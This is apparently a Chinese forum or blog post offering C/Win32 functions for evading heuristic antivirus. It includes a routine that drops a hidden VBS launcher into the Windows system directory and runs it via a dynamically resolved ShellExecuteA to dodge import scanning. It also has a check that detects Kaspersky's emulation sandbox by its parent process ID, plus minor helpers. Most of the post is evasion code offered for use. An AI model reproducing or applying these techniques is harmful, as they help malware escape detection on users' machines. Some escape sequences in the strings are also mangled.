自定义函数过启发杀毒或者用于其它目的

 

void RunExec(LPCSTR strExe)
{
char szSysDir[256];
DWORD dwBytes;
memset(szSysDir,0,sizeof(szSysDir));
GetSystemDirectory(szSysDir,sizeof(szSysDir));
strcat(szSysDir,"//ds.vbs");
DeleteFile(szSysDir);

char FirstLine[] ="set oshell = CreateObject(/"WScript.Shell/")/r/n";
char SecondLine[] ="oshell.run(/"";
char ThreedLine[] ="/")";
HANDLE hFile = CreateFile(szSysDir,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN,NULL);
WriteFile(hFile,FirstLine,strlen(FirstLine),&dwBytes,NULL);
WriteFile(hFile,SecondLine,strlen(SecondLine),&dwBytes,NULL);
WriteFile(hFile,strExe,strlen(strExe),&dwBytes,NULL);
WriteFile(hFile,ThreedLine,strlen(ThreedLine),&dwBytes,NULL);
CloseHandle(hFile);

HMODULE hshell;
hshell=LoadLibrary("Shell32.dll");
HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );
//动态加载shell32.dll中的ShellExecuteA函数

(FARPROC&)SHELLRUN=GetProcAddress(hshell,"ShellExecuteA");

SHELLRUN(0,"open",szSysDir,NULL,NULL,5);
FreeLibrary(hshell);
}

int SEU_Rand(int ran)//自定义的随机数发生器
{
unsigned long Time=GetTickCount();
int seed=rand()+3;
seed=(seed*Time)%ran;
return seed;
}

这里写大小写转换的函数:
char toUpper(const char& ch)
{
    return ch & 0x5F;
}
char toLower(const char& ch)
{
    return ch | 0x20;
}

bool MyCopyFile(char *sf,char *df)
{
FILE *in,*out;
char ch;
in=0;
out=0;
if ((in=fopen(sf,"rb"))==NULL)
   return false;
if ((out=fopen(df,"wb"))==NULL)
{
   fclose(in);
   return false;
}
while(!feof(in))
{
   ch=fgetc(in);
   if (ferror(in)) return false;
   fputc(ch,out);
   if (ferror(out)) return false;
}
fclose(in);
fclose(out);

return true;
}

BOOL AntiAVP()//反卡巴启发
{
PROCESSENTRY32 pe;
DWORD dwCurrPid = GetCurrentProcessId();
HANDLE hkz=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize=sizeof(PROCESSENTRY32);
if (Process32First(hkz,&pe))
{
   do
   {
    //本进程的父进程ID == 4,发现卡巴虚拟启发
    if (pe.th32ProcessID == dwCurrPid
     && pe.th32ParentProcessID == 4)
    {
     return TRUE;
    }
   }while(Process32Next(hkz,&pe));
}

return FALSE;
}